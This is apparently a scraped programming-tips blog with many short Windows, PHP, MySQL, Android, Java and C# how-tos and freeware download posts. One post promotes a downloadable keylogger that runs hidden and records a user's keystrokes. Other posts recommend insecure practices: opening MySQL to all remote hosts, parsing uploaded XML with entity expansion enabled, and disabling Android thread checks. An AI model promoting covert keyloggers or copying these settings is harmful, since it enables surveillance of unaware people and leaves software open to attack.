Ads Inside Post

Search in This Blog

System properties dialog box


Problem:

Sometime you are developing a software in the winform environment and yo need to to
open different system properties dialog box from your software. then How to open windows System Properties Dialog box?

System properties dialog box
















Solution:

To open system properties dialog box you will run "shell32.dll" from "rundll32.exe".

Example:

To open System Properties dialog box:
ans = Shell("rundll32.exe shell32.dll,Control_RunDLL sysdm.cpl @1", 6)
To open Sound and Audio Devices Properties:
ans =Shell("rundll32.exe shell32.dll,Control_RunDLL mmsys.cpl @1", 6)
To open Date and Time Properties:
ans = Shell("rundll32.exe shell32.dll,Control_RunDLL timedate.cpl", 6)
To open Internet Properties:
ans =Shell("rundll32.exe shell32.dll,Control_RunDLL inetcpl.cpl,,0", 6)
To open Keyboard Properties:
ans = Shell("rundll32.exe shell32.dll,Control_RunDLL main.cpl @1", 6)
To open Mouse Properties:
ans = Shell("rundll32.exe shell32.dll,Control_RunDLL main.cpl @0", 6)
To open Regional and Language Options:
ans = Shell("rundll32.exe shell32.dll,Control_RunDLL intl.cpl,,0", 6)
To open Add or Remove Programs:
ans = Shell("rundll32.exe shell32.dll,Control_RunDLL appwiz.cpl,,1", 6)
To open Display Properties:
ans =Shell("rundll32.exe shell32.dll,Control_RunDLL desk.cpl,,0", 6)
To open Game Controllers:
ans =Shell("rundll32.exe shell32.dll,Control_RunDLL joy.cpl", 6)
To open Phone and Modem Options:
ans =Shell("rundll32.exe shell32.dll,Control_RunDLL modem.cpl", 6)

key logger

Problem:

Some time you want to tack the person keyboard that what keys are stroking on that keyboard?




Solution:

I have developed a application, so by this application you can achieve your target.
You can track user keyboard keys by this Key Logger Application. This will store all the key stroke of your keyboard and save in the text file, So you can see all the activities of user; what user is typing.
key logger









How to download it?

Download it from here.
http://agalaxycode.blogspot.in/2015/01/keylogger.html

How to run this application?

It is simple , just double click on it and it will open and hide. it will run in background process. so no one see it.

Requirement of system:

To run this application you need to install Microsoft dot.net framework 3.5

change SurfaceView height width

Problem:

change SurfaceView height width in android.
You are using SurfaceView to open camera in Android. and want to set it's custom height and width. So How can you change SurfaceView height width?

Solution:

To change SurfaceView's custom height and width use "android.view.ViewGroup.LayoutParams"
There are subclasses of LayoutParams for different subclasses of ViewGroup. For example, AbsoluteLayout has its own subclass of LayoutParams which adds an X and Y value.  By this you can change X and Y of SurfaceView 

Example:

Use below  code:
android.view.ViewGroup.LayoutParams avvglp = surfaceView.getLayoutParams();
avvglp.height=300;
avvglp .width=300;
surfaceView.setLayoutParams(avvglp);

To See more here:
http://developer.android.com/reference/android/view/ViewGroup.LayoutParams.html

Set all remote host to mysql database

Problem:

How to set all remote hosts to MySQL?

While you  are working with remote production MySQL database, you need each time to open phpMyAdmin. It is time taking and working with it execute sql queries very slow. So you need a tool that connect with your remote production MySQL database. for security reason hosting company not enable connect all remote IP to MySQL database server. you need to set it by one remote IP or all IP. For one remote IP simple put the IP address in the field indicated in below image on the other hand if you need to access remote MySQL database from all IP the put % sign in that field. See below how to it.

Solution:

1) Open your control panel
2) Click on "Remote MySQL" link.
3) Put "%" in Host text box and click on "Add Host". see below image



















Now you can connect your remote mysql database from any host.

How to show place in Google map

How to show place in Google map
-----------------------------------


























1) Create a table "latandlon" in Mysql/Oracle/Sqlserver/DB2 in which you feel easy.

CREATE TABLE latandlon (
  id int(11) NOT NULL auto_increment,
  lat decimal(10,6) NOT NULL default '0.000000',
  lon decimal(10,6) NOT NULL default '0.000000',
  address varchar(255) NOT NULL default '',
  PRIMARY KEY  (id)
);


2) feed the listed below data.
----------------------------------------------------------
id,     lat,            lon,            address
----------------------------------------------------------
1    23.402800    78.454100    Madhya Pradesh
2    26.280000    80.210000    Kanpur
3    31.122027    77.111664    Himanchal Pradesh
4    22.533000    88.367000    Kolkata
5    28.350000    77.120000    Delhi
6    17.230000    78.290000    Hyderabad
----------------------------------------------------------


3) put youe google map key in the index.jsp.


 <%@ page language="java" import="java.util.*" pageEncoding="ISO-8859-1"%>
<%@ page import="java.sql.*" %>
<%
// How to show place in google map
String path = request.getContextPath();
String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/";
%>

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
  <head>
    <base href="<%=basePath%>">
   <title>My JSP 'index.jsp' starting page</title>
    <meta http-equiv="pragma" content="no-cache">
    <meta http-equiv="cache-control" content="no-cache">
    <meta http-equiv="expires" content="0">  
    <meta http-equiv="keywords" content="keyword1,keyword2,keyword3">
    <meta http-equiv="description" content="This is my page">
    <!--
    <link rel="stylesheet" type="text/css" href="styles.css">
    -->
<script src="http://maps.google.com/maps?file=api&v=2&key=YOURKEYHERE" type="text/javascript">
</script>
<body>
<p><strong>locations in India</strong></p>
<div id="map" style="width: 800px; height: 600px"></div>

<script type="text/javascript">
//<![CDATA[
var map = new GMap2(document.getElementById("map"));
map.addControl(new GLargeMapControl());
map.addControl(new GMapTypeControl());
map.addControl(new GScaleControl());
map.setCenter(new GLatLng(23.402800, 78.454100), 5, G_NORMAL_MAP);
function createMarker(point, number)
{
var marker = new GMarker(point);
var html = number;
GEvent.addListener(marker, "click", function() {marker.openInfoWindowHtml(html);});
return marker;
};
<%
    String userName = "root";
    String password = "";
    String url = "jdbc:mysql://localhost:3306/test";
    try{
        String driver = "com.mysql.jdbc.Driver";
        Class.forName(driver).newInstance();
        Connection conn;
        conn = DriverManager.getConnection(url, "root","");
        Statement s = conn.createStatement ();
        s.executeQuery ("SELECT *from latandlon");
        ResultSet rs = s.getResultSet ();
        int count = 0;
        while (rs.next ()) {
            String lat = rs.getString ("lat");
            String lon = rs.getString ("lon");
            String address=rs.getString ("address");
            out.print("var point = new GLatLng("+lat+","+lon+");\n");
            out.print("var marker = createMarker(point, '"+address+"');\n");
            out.print("map.addOverlay(marker);\n");
            out.print("\n");
        }
        rs.close ();
        s.close ();
    }
    catch(Exception ee){
        System.out.println(ee.toString());  
    }
%>
//]]>
</script>
</body>
</html>

4) change the database connection string in the index.jsp page, coz I have used MySql.






Exact string comparison in C#

PROBLEM:
Exact string comparison in C# ,Case sensitive login in C#. Suppose you are storing login in database table as "Admin" and on the webpage or winform you are trying to compare it as "admin" then it is pass.But if you want to compare it as exact "Admin" the follow below steps:
Store "admin" in database table. So "admin" and "Admin" is not same

SOLUTION:
 String tmpLogin="Admin";
// Select user_login from user_info where user_login='Admin
String ret_login=Util.getLogin(tmpLogin);
// It will return "admin" so "admin" and "Admin" is not same. so it should false.
if (String.Equals(tmpLogin, ret_login, StringComparison.Ordinal)==false) {
                MessageBox.Show("Incorrect User Name.");
                label7.Text = "Incorrect UserName.";
                return;
} else {
     MessageBox.Show("Correct User Name.");
}




Read excel file in PHP

Problem:

How to read Excel 2003 or 2007 or 2010 format microsoft excel file in PHP

Solution:

Use  PHPExcel library to read Excel 2003 or 2007 or 2010 format microsoft excel file in PHP.
Download it from it's website

Example:

Below the code that will read excel file.
<?php
require_once './PHPExcel/IOFactory.php';
$objReader = PHPExcel_IOFactory::createReader('excel2007');//excel2007 or Excel5
$objPHPExcel = $objReader->load("Test.xlsx");

$worksheet=$objPHPExcel->getActiveSheet();
$lastRow = $worksheet->getHighestRow();
$lastCol = $worksheet->getHighestColumn();

for ($row = 2; $row <= $lastRow; $row++){
   echo $worksheet->getCell("A".$row)->getValue()."======";
   echo $worksheet->getCell("B".$row)->getValue()."<br/>"; 
 /// so on.......
}
?>

Extract text from docx in php


Problem:

Sometime you need to store Microsoft word 2007 file's content to Database, for this you will open docx file;copy it's content and paste in webpage and click submit button then after data will store in database. it is the solution but it is not a good smart solution.

Solution:

The good smart solution is that you select your docx file by browse button then your docx file will upload in server and it's content will store in Database.

Example:

<?php
function showDocxToText($file_name) {
    return readDocxToXML($file_name, "word/document.xml");
}
function readDocxToXML($file_name, $data_file) {
    $zp = new ZipArchive;
    if (true === $zp->open($file_name)) {
        if (($id = $zp->locateName($data_file)) !== false) {
            $dt = $zp->getFromIndex($id);
            $zp->close();
            $xml = DOMDocument::loadXML($dt, LIBXML_NOENT | LIBXML_XINCLUDE | LIBXML_NOERROR | LIBXML_NOWARNING);
            return strip_tags($xml->saveXML());
        }
        $zp->close();
    }
    return "";
}

$docx_txt=showDocxToText("file.docx");
// now store $docx_txt content to database
?>

Get Current Page Name in PHP


PROBLEM:
During coding in php, some time you need to Get Current Page Name in PHP. So How to Get Current Page Name in PHP?

SOLUTION:
Create a file "b.php" and save below content and open in browser. you will see "b.php" as page name.
<?php
function getScript() {
$file = $_SERVER["SCRIPT_NAME"];
$break = explode('/', $file);
$pfile = $break[count($break) - 1];
return $pfile;
}
echo getScript();
?>

mail using PHPMailer

PROBLEM:
How to send using PHPMailer

SOLUTION:

PHPMailer is the good option to send email in PHP. To use PHPMailer first download it from
https://github.com/PHPMailer/PHPMailer

extract and paste entire folder. paste below code:

<?php
require_once('phpMailer/class.phpmailer.php');
public function sendEMail($tto, $fFrom, $sSubject, $bBody) {
$html_message = $bBody;
$mail = new PHPMailer();
                $mail->Host = 'mail.site.com';// set here your mail server
                // set user and pass of your email if authentication required.
                $mail->Username     = 'user';
                $mail->Password     = 'pass';
$mail->From = $fFrom;
$mail->FromName = "Test".' '."Mail"; //name
$mail->Subject = $sSubject;
$mail->AltBody = "To view the message, please use an HTML compatible email viewer!";
$mail->MsgHTML($html_message);
$mail->AddAddress($tto);
$mailAns = $mail->Send();
return $mailAns;
}
sendEMail("toemail", "fromemail", "subject", "email msg body")
?>

latitude and longitude by zip in php

PROBLEM:
How to get latitude and longitude by zip/pin in php

SOLUTION:
Here I am demonstrating to you that how can you get latitude and longitude by zip code or pin code in php.

$pin="208017";
$full_url = "http://maps.googleapis.com/maps/api/geocode/json?address=".$pin."&sensor=false";
$details=file_get_contents($full_url);
$rs = json_decode($details,true);
$lat=$rs['results'][0]['geometry']['location']['lat'];
$lng=$rs['results'][0]['geometry']['location']['lng'];
echo  "Latitude :" .$lat;
echo '<br>';
echo "Longitude :" .$lng;

Replace in mysql

PROBLEM:

How to Replace in mysql?

SOLUTION:
If you have a table in my sql database which having '('    ')'   or  any other character and you want to replace it then use as:

UPDATE tble_nm  SET taluk = REPLACE(taluk, '(', '')  WHERE taluk LIKE '%)%'

Error while import sql file in sqlyog

PROBLEM:
Sometime when you import sql file then you may surprise that error show any time.The sqlyog is the good tool to import or export mysql database, You may get error while import sql file in sqlyog. So how to tackle it?

SOLUTION:
This is because your insert statement is too big to execute. to solve these problem follow listed below statement:

open "my.ini" or "my.cnf" file in the mysql folder
and change this statement as :
"max_allowed_packet=500M"

Configure codeigniter in wamp 2.5

PROBLEM:
If you are a PHP Developer the WAMP is a good environment. You can do the things easily with WAMP.. You can download WAMP from it's website. Recently WAMP have made many changes, in past WAMP version you simply web ste in the "www" folder and eailsy open the site. For example:
While working on codeigniter with wamp server you just past the codeigniter project directory to the wamp server "D:\wamp\www" folder. but if you have the wamp server 2.5 then your project will not work. means wrong path will shown in the browser .
 
But recent version of WAMp have made many changes so your site will not open. So what waht made to open website with recent WAMP? in the other words How to configure PHP website or codeigniter in wamp 2.5 ?

SOLUTION:
open "index.php" file which under "www" folder
and find the statement "$suppress_localhost=true"
and change it as below:

"$suppress_localhost=false"

Show sql query in Codeigniter

Problem:

While working in Codeigniter framework and execution some sql query. but the sql query result is not coming as you want. In this case there are something wrong with your sql queries. Then what you will do? the answer is that you will see the what exact sql query you are executing in Codeigniter.
So how can you show or see sql query in Codeigniter?

Solution:
you can use this statement after execution sql query

you can use $this->db->last_query();  statement as below:

Example:

$sql = "SELECT district_id FROM district_names where districtname= ?";
$rsMatter=$this->db->query($sql, array($districtname));
echo $this->db->last_query();

Pass sql result in codeigniter view

Problem:

PHP Codeigniter framework is a good MVC framework for PHP developer. While passwing result to it's view you may face the sql result problem. The problem is that you can not see sql result in the "View". You can face the belwo error:
-----------------------------------------------------
A PHP Error was encountered
Severity: Notice
Message: Undefined variable: statename_list
( ! ) Fatal error: Call to a member function result() on a non-object in.
-----------------------------------------------------
So what is the proper method to pass sql result to Codeigniter view?

Solution:

You always pass array variable in the view to overcome this problem. Here I am showing the proper way that how you pass sql result to view 

Example:

IN CONTROLLER :
<?php
passed $statename_list data records from mysql table by controller:
$statename_list=$this->main_model->get_statenames();
$this->load->view('main_include/6_main_content_view',$statename_list);
?>

IN VIEW :
<?php
$this->load->database();
 foreach ($statename_list->result() as $row_state) {
 echo $row_state->statename;
 //$matter_id=$row_state->matter_id;
 }
?>

By using above statements you will get the listed below error:
---------------------------------------------------------------------------------
A PHP Error was encountered
Severity: Notice
Message: Undefined variable: statename_list
( ! ) Fatal error: Call to a member function result() on a non-object in.
---------------------------------------------------------------------------------

PROPER SOLUTION: In controller use as:

$statename_list=$this->main_model->get_statenames();
$data['statename_list']=$statename_list;

and pass it in view as:
$this->load->view('main_include/6_main_content_view',$data);

and use it as in view:
    <?php foreach ($statename_list->result() as $row_state) {
 $statename= $row_state->statename;
 $state_id=$row_state->state_id;
 ?>

get selected text of select from jquery

Problem:
How to get selected text of select from jquery?

While working in web programming sometime you need to get text from select box or combobox along with it's value.

Solution:
You will use .val() method to get value and use .text() method to get text from select box or combo box in jquery.



Example:
Use listed below code:
To get value:
var myval=$("#myselect").val();

To get Text:
var mytxt=$("#myselect :selected").text();

replace all space in javascript

Problem:

How to replace all space in javascript?

Solution:

You will use "replace" method to replace in javascript

Example:


replace all spaces with "_" sign
use:
statename=statename.replace(/ /g, "_");

replace all occurance in javascript
replace all spaces with "abc" sign wirh "_"
use:

statename=statename.replace(/abc/g, "_");

Remove index.php in Codeigniter

Remove index.php from url in Codeigniter

Just copy these listed below 4 line of code ".htaccess" file in the root directory of codeigniter framework. if you have not then create it. After this restart your Server and check it.


RewriteEngine on
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule .* index.php/$0 [PT,L]

Orbital chase paymentech gateway Mark for Capture

Orbital Chase Paymentech Gateway Mark for Capture

Chase Orbital is one of the complex Payment Gateway. It's authorization process is very complex.
Here is the code for Orbital Chase Paymentech Gateway Mark for Capture Request in PHP.
You can frequently use it as free.

If you want to implement Orbital chase paymentech by me then Please contact me and I will let you know my charges.

<?php
$url = "https://orbitalvar2.paymentech.net"; // testing
//$url = "https://orbital1.paymentech.net"; // production
$post_string="
<?xml version=\"1.0\" encoding=\"UTF-8\"?>
    <Request>
        <MarkForCapture>
            <OrbitalConnectionUsername>YOUR-USERNAME-HERE</OrbitalConnectionUsername>
            <OrbitalConnectionPassword>YOUR-PASSWORD-HERE</OrbitalConnectionPassword>
            <OrderID>123456789</OrderID>
            <Amount>8500</Amount>
            <BIN>000002</BIN>
            <MerchantID>YOUR-MERCHANT-ID-HERE</MerchantID>
            <TerminalID>001</TerminalID>
            <TxRefNum>4F320B79F23280DAE62777C80721F838FF13548D</TxRefNum>
        </MarkForCapture>
    </Request>";
    $header= "POST /authorize/ HTTP/1.0\r\n";
    $header.= "MIME-Version: 1.0\r\n";
    $header.= "Content-type: application/PTI\r\n";
    $header.= "Content-length: "  .strlen($post_string) . "\r\n";
    $header.= "Content-transfer-encoding: text\r\n";
    $header.= "Request-number: 1\r\n";
    $header.= "Document-type: Request\r\n";
    $header.= "Interface-Version: Test 1.4\r\n";
    $header.= "Connection: close \r\n\r\n";
    $header.= $post_string;
 
   //// just initialize curl here and post the data to the orbital server.


 
?>

Download image without cURL and with cURL in PHP

 Download image without cURL and with cURL in PHP




<?php
// without cURL
$downloadImageUrl="http://fc04.deviantart.net/fs26/f/2008/072/b/1/Frozen_Galaxy_by_Vpr87.jpg";
////// Using without CURL
$img = file_get_contents($downloadImageUrl);
$file1 = dirname(__file__).'/aaa.jpg';
file_put_contents($file1, $img);



////// // with cURL
$fileName=$downloadImageUrl;
$header = array(
            "Accept-Encoding: gzip,deflate",
            "Accept-Charset: utf-8;q=0.7,*;q=0.7",
            "Connection: close"
        );
$useragent = 'Amit Kumar Gaur amitt800@gmail.com  http://amitkgaur.blogspot.com';
$file2 = dirname(__file__).'/bbb.jpg';
$curlObj=curl_init();
curl_setopt($curlObj, CURLOPT_HTTPHEADER, $header);
curl_setopt($curlObj, CURLOPT_RETURNTRANSFER, true);
curl_setopt($curlObj, CURLOPT_HEADER, false);
curl_setopt($curlObj, CURLOPT_USERAGENT, $useragent);
curl_setopt($curlObj, CURLOPT_CONNECTTIMEOUT, 999);
curl_setopt($curlObj, CURLOPT_TIMEOUT, 9999);
curl_setopt($curlObj, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_1);
curl_setopt($curlObj, CURLOPT_URL, $downloadImageUrl);
$response = curl_exec($curlObj);
$return = false;
if(!curl_errno($curlObj)) {
    file_put_contents($file2, $response);
}
?>

Extract Corrupt Zip File By Java

Extract Corrupt Zip File By Java


I received an zip file from customer. I have tried to extract with WinZip, but unable to extract zip file because that zip file was corrupt.

So I have tried to extract with Java Zip API and got the success. The code is listed below:

I am sure that the zip file having 5% to 10% part corrupt will be unzip with this code, but if it is having more corrupt then the code will not work.


import java.io.*;
import java.util.zip.*;

class ExtractCorruptZip {
public void extractZipFiles(String fileName) {
try {
String zipDir = "c:\\zip\\";
//String zipDir = "/home/usr/amit/zip/";
byte[] by = new byte[2048];
ZipInputStream ziStream = null;
ZipEntry zipEntry;
ziStream = new ZipInputStream(new FileInputStream(fileName));

zipEntry = ziStream.getNextEntry();
int count=1;
while (zipEntry != null) {
String entry = zipDir + zipEntry.getName();
entry = entry.replace('/', File.separatorChar).replace('\\', File.separatorChar);
int n;
FileOutputStream fOTStream;
File newFile = new File(entry);
if (zipEntry.isDirectory()) {
if (!newFile.mkdirs()) {
break;
}
zipEntry = ziStream.getNextEntry();
continue;
}
fOTStream = new FileOutputStream(entry);
while ((n = ziStream.read(by, 0, 2048)) > -1) {
fOTStream.write(by, 0, n);
}
System.out.println("Working....."+(++count));
fOTStream.close();
ziStream.closeEntry();
zipEntry = ziStream.getNextEntry();
}
ziStream.close();
System.out.println("DONE!!!!!");
} catch(IOException ioe) {
ioe.printStackTrace();
}
}

public static void main(String[] ss) {
try {
String fileName = "w1.zip";
ExtractCorruptZip extractCorruptZip = new ExtractCorruptZip();
extractCorruptZip.extractZipFiles(fileName);
} catch (Exception ex) {
ex.printStackTrace();
}
}
}




Google chart api 3d

Google chart api 3d


Here is the simple example of Google 3d chart. just use listed below code.
I have everything explained in commented.



Google chart api 3d
















<html>
<head>
<script type='text/javascript' src='http://www.google.com/jsapi'></script>
<script type="text/javascript">
    // Load Google Visualization API with piechart package.
    google.load('visualization', '1', {'packages':['piechart', 'imagepiechart', 'barchart','imageBarChart','linechart']});
    // load API.
    google.setOnLoadCallback(initChart);
    // Populates datas and draw it.
    function initChart() {
        var dTable = new google.visualization.DataTable();
        // Add two columns
        dTable.addColumn('string', 'Names');
        dTable.addColumn('number', 'Percentage');
     
        //Add fie rows
        dTable.addRows(5);
     
        //set the 5 values
        dTable.setValue(0, 0, 'Java');
        dTable.setValue(0, 1, 50);
     
        dTable.setValue(1, 0, 'ASP.Net');
        dTable.setValue(1, 1, 30);
     
        dTable.setValue(2, 0, 'PHP');
        dTable.setValue(2, 1,10);
     
        dTable.setValue(3, 0, 'ASP');
        dTable.setValue(3, 1, 7);
     
        dTable.setValue(4, 0, 'Java Applet');
        dTable.setValue(4, 1, 3);
        //draw it
        var pChart = new google.visualization.PieChart(document.getElementById('programmingLanguages3DChart'));
        pChart.draw(dTable, {width: 400, height: 240, is3D: true, title: 'Programming Languages 3D Chart'});
    }
</script>
</head>
<body>
    <div id='programmingLanguages3DChart' ></div>
</body>
</html>


Multiple step OLE DB operation generated errors Check each OLE DB status value if available No work was done


Multiple-step OLE DB operation generated errors. Check each OLE DB status value, if available. No work was done


If you are working with MS Access database then you encounter with the "Multiple-step OLE DB operation generated errors. Check each OLE DB status value, if available. No work was done" error.
There are many reasons that produce the above error.
But the common error is Ms Access database password is mismatching. the 2007 Ms Access database password length is 20 characters and if you mistakenly set 21 characters as a password then last 21th character will automatically suppressed by Ms Access Database. for example you have types password as:
abcdefghijklmnopqrstu

then last "u" will automatically deleted and Ms Access will not inform you about it and set the password as:
abcdefghijklmnopqrst

You will not aware this Ms Access activity and while working with C# or VB.Net you will used the password as:
abcdefghijklmnopqrstu
then you can face the "Multiple-step OLE DB operation generated errors. Check each OLE DB status value, if available. No work was done" error.

So just check the password and you will not face this types of error.



TIFF Reader in java

TIFF File Reader

If you have a multiple pages TIFF file and want to see it in java then listed below code will help you.




import java.io.File;
import java.io.IOException;
import java.awt.Frame;
import java.awt.image.RenderedImage;
import javax.media.jai.widget.ScrollingImagePanel;
import javax.media.jai.NullOpImage;
import javax.media.jai.OpImage;
import com.sun.media.jai.codec.SeekableStream;
import com.sun.media.jai.codec.FileSeekableStream;
import com.sun.media.jai.codec.TIFFDecodeParam;
import com.sun.media.jai.codec.ImageDecoder;
import com.sun.media.jai.codec.ImageCodec;

public class ReadTiff extends Frame {
    ScrollingImagePanel panel;
    public ReadTiff(String filename) throws IOException {
        setTitle("ReadTiff");
        File file = new File(filename);
        SeekableStream s = new FileSeekableStream(file);
        TIFFDecodeParam param = null;
        ImageDecoder dec = ImageCodec.createImageDecoder("tiff", s, param);
        System.out.println("Number of images in this TIFF: " +
                           dec.getNumPages());
        // 0 means the first, 1 for second and so on.
        int imageToLoad = 0;
        RenderedImage op =
            new NullOpImage(dec.decodeAsRenderedImage(imageToLoad),
                            null,
                            OpImage.OP_IO_BOUND,
                            null);
        panel = new ScrollingImagePanel(op, 800, 800);
        add(panel);
    }

    public static void main(String [] args) {
        String filename = "C:\\java\\tiff\\car1.tif";
        try {
            ReadTiff window = new ReadTiff(filename);
            window.pack();
            window.show();
        } catch (java.io.IOException ioe) {
            System.out.println(ioe);
        }
    }
}





android.os.NetworkOnMainThreadException


android.os.NetworkOnMainThreadException


if you work with android and want to get data from any url by using URL and  URLConnection you me stuck by the "android.os.NetworkOnMainThreadException" error message while run the app.

To over come this run time error message you use "StrictMode.ThreadPolicy policy = new StrictMode.ThreadPolicy.Builder().permitAll().build();  StrictMode.setThreadPolicy(policy);" as listed below.

Keep in mind that use it in onCreate(Bundle savedInstanceState) after "setContentView(R.layout.activity_main);" method

//////////////////////////////////////////
@TargetApi(Build.VERSION_CODES.GINGERBREAD)
@SuppressLint("NewApi")
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
StrictMode.ThreadPolicy policy = new StrictMode.ThreadPolicy.Builder().permitAll().build();
StrictMode.setThreadPolicy(policy);
//// other code here
}
//////////////////////////////////////////

Multiple Find Replace in MS Word using C#

Multiple Find Replace in MS Word using C#

Suppose you have a Ms word file with 100s or more pages and each page have a word more than 10 or multiple times which you want to replace. In this situation you will open the doc file and open find replace box. but this is time taking task.

replace words in msword










I have developed the .Net framework 4.5 windows application. by using this application you choose the file and put the find and replace word and press "Replace Now!" button.

To run this application you need to install .Net framework 4.5 from Microsoft site

Download here
https://sourceforge.net/projects/unique-softwares/files/in-ms-word-using-c.html







use Table in itextsharp C#

use Table in itextsharp C#





iTextSharp.text.Document doc = new iTextSharp.text.Document(PageSize.A4, 6, 72, 20, 16);
doc.Open();
PdfWriter docWriter = PdfWriter.GetInstance(doc, new FileStream(PdfName, FileMode.Create));
docWriter.StrictImageSequence = true;

PdfPTable table = new PdfPTable(1);
table.TotalWidth = 550f;
table.LockedWidth = true;

for(n records) {
    PdfPCell cell = new PdfPCell(new Phrase(""));
        cell.AddElement(pdfImage);
        cell.BorderColor = BaseColor.WHITE;
        table.AddCell(cell);
}
doc.Add(table);
doc.Close();

Thin border table in html

How to create Thin border table in html:
Use following html code to create Thin border table in html.


<table cellspacing="0" cellpadding="1" style="border-color:Black;border-width:1px;border-style:Solid;height:108px;width:100%;border-collapse:collapse;" rules="all" >
  <tbody>
    <tr >
      <th scope="col">Date</th>
      <th scope="col">Time</th>
      <th scope="col">Status at</th>
      <th scope="col">Status</th>
    </tr>
    <tr>
      <td align="center">25/08/2014</td>
      <td align="center">10:20:15</td>
      <td align="left">Status A</td>
      <td align="left">Status B</td>
    </tr>
  </tbody>
</table>

Get cookies in java

How to get cookies in java


import java.io.*;
import java.net.*;
public class CO {
    public static void main(String ss[]) {
     try {
             String url="http://www.mywebsite.com/anything.do";
              HttpURLConnection conn = (HttpURLConnection) new URL(url).openConnection();
        System.out.println("\n[HTTP GET RESPONSE]");
        System.out.println("==== Response Headers =====");
        String serverCookies = conn.getHeaderField("Set-Cookie");
        if(serverCookies != null) {
                    String[] cookies = serverCookies.split(";");
                    for(String s : cookies){
                        s = s.trim();
                        if(s.split("=")[0].equals("JSESSIONID")){
                                String J_SESSION_ID = s.split("=")[1];
                                System.out.println(" Session ID Found: " + J_SESSION_ID);
                            }
            }
        }
    } catch(Exception ee) {
        System.out.println(ee.toString());
    }
    }
}

Image Optimizer

Jpg Image Optimizer



Optimize your images,just select source and target folder and click on "Start Optimize"


Jpg Image Optimizer















Download it here

How to use Limit in ms access sql query

How to use Limit in ms access sql query


use below ms access sql
SELECT TOP 90 PERCENT * FROM tablename

Load image in picturebox in C#

Load image in picturebox in C#

How to load image in picturebox in dot net C# winform, Listed below code will solve your problem.


pictureBox1.Image = System.Drawing.Image.FromFile("ImageNameWithFullPath");

Get height width of image in C#

Get height width of image in C#


You can simply get image's height width in C# with only one line of code:
the code is :

int h = System.Drawing.Image.FromFile("ImageNameWithPath").Height;
int w = System.Drawing.Image.FromFile("ImageNameWithPath").Width;

SQL query for two column from and to with same value

SQL query for two column from and to with same value

Suppose you are developing a software, you have a database table with following structure:
zip_id from_zip1 from_zip2 ship_cost
1         0         100         40
2         101         200         50
3         201         350         100

In the data entry screen you put the Zip code as 315. Zip code 315 coming under zip id 3 and it's shipping cost is 100.
you want when user put zip 315 or any other zip then it's according shop cost automatically show.
So what will the sql query of this?

This will the query of that:

SELECT *FROM ship
WHERE (from_zip2>=315 AND from_zip1<=315)
ORDER BY from_zip2 DESC LIMIT 0, 1


Auto Resume Broken File Uploader

Auto Resume Broken File Uploader With Progress Bar


Internet connection broken is the very common problem with of all us. When clients are upload large (GBs size) file via web page, they need uninterrupted internet connection supply. If internet connection breaks, then need to re-upload file. and if internet connection breaks many times during uploading, then clients need to upload the file many times again and again and so on.

So I have invented this "Auto Resume Broken & Progress Bar File Uploader" without using any third party or DLL file.

By this uploader upload Unlimited GBs file without fear of internet connection break. Also I have added another Fast/Slow send Bytes speed, whatever depends on your internet connection. Suppose you have slow connection, you can set slow send bytes on the other hand if you are having fast connection set fast send bytes.

Auto Resume Broken File Uploader




User not need to stay on computer screen and do other work. I have created these uploader in many technologies(JSP/SERVLET, PHP, ASP.NET) and many flavors.

Probably I’m not allowed to post the source code in public, so I’m just going to show you it's screenshot that how can achieve it from webpage.






MS Access alphanumeric column sorting as number

Alphanumric column sorting as numeric in MS Access

You have Ms Access Database table as listed belwo:
------------------------------------------
id,p_num, city,branch
------------------------------------------ 
1,P1,a,b
2,P9,c,d
3,P19,e,f
4,P2,g,h
5,P111,i,j
6,P100,k.l
7,P10,m,n
8,P7,o,p
------------------------------------------

Now you want to show the record by "p_num" column, you can see "p_num" is a alphanumeric value and you want to sort is as below:
------------------------------------------ 
id,p_num, city,branch
------------------------------------------ 
1,P1,a,b
2,P2,g,h
3,P7,o,p
4,P9,c,d
5,P10,m,n
6,P19,e,f
7,P100,k.l
8,P111,i,j
------------------------------------------
So in this case use this sql:

SELECT id,Mid(p_num,2,12) AS new_p_num,city,branch FROM my_tbl order by CInt(Mid(p_num,2,12) )

In the above sql query "Mid(p_num,2,12)" 2 is the starting position of p_num column and 12 is the maximum digits. Here I am assuming after "P" number is not more that 12 digits.


PDF file merge



 PDF file merge


If you have more than one PDF files with multiple pages and you need to merge all the files into a single pdf  file. Then you can move on internet and search for that. There are many more websites that are providing the free facility to combine multiple PDF files and generate one single file. 
But due to security issues we can not upload important pdf files to any website that are proving this type  of facilities.
 






I have created this .Net Windows application that will take multiple pdf files and combine them into one single pdf file. The more important thing is that I have made it with batch processing. So just select the directory which having the pdf files.

Download

Video Watermark

Video Watermark


Add Subtitle ( Watermark in video ) in your video by this software.
Currently this support .AVI, .FLV and .MOV format.
I have created it in "Dot Net Framework 4 Client Profile", So  needed to download  .Net Framework 4 Client Profile from Microsoft site.

Watermark in video


In my next version I will add some more video format.

Download








Text to speech in dot net

Text to speech in dot net


Enjoy text to speech,just download this application.
To run this application you need to install Dotnet framework 3.5











Download here:
http://agalaxycode.blogspot.com/2015/03/text-to-speech.html














Secure File Delete

Secure File Delete


Privacy is very important in our real life and information technology. If you have a very important file and after some time you want to no one can see this file content, So what you will do in this case? You will say simple answer, “I will delete that file from my computer system”. Okay you can delete that file, but did you think anyone can restore your file using “Recovery Software”.  So now what you will do now?

Secure File Delete
Ok, no problem, I have created a Software that will delete any file from your computer system and no one can recover it using any recovery software.

Download it and Enjoy!!!!

Resize grid automatically when resize windows in wpf


Resize grid automatically when resize windows in wpf



----------------------------------------------------------------------------------------------
In <Grid Height="357.714" Width="504.798" Background="Chocolate">
remove the Height="357.714" Width="504.798",that will solve your problem.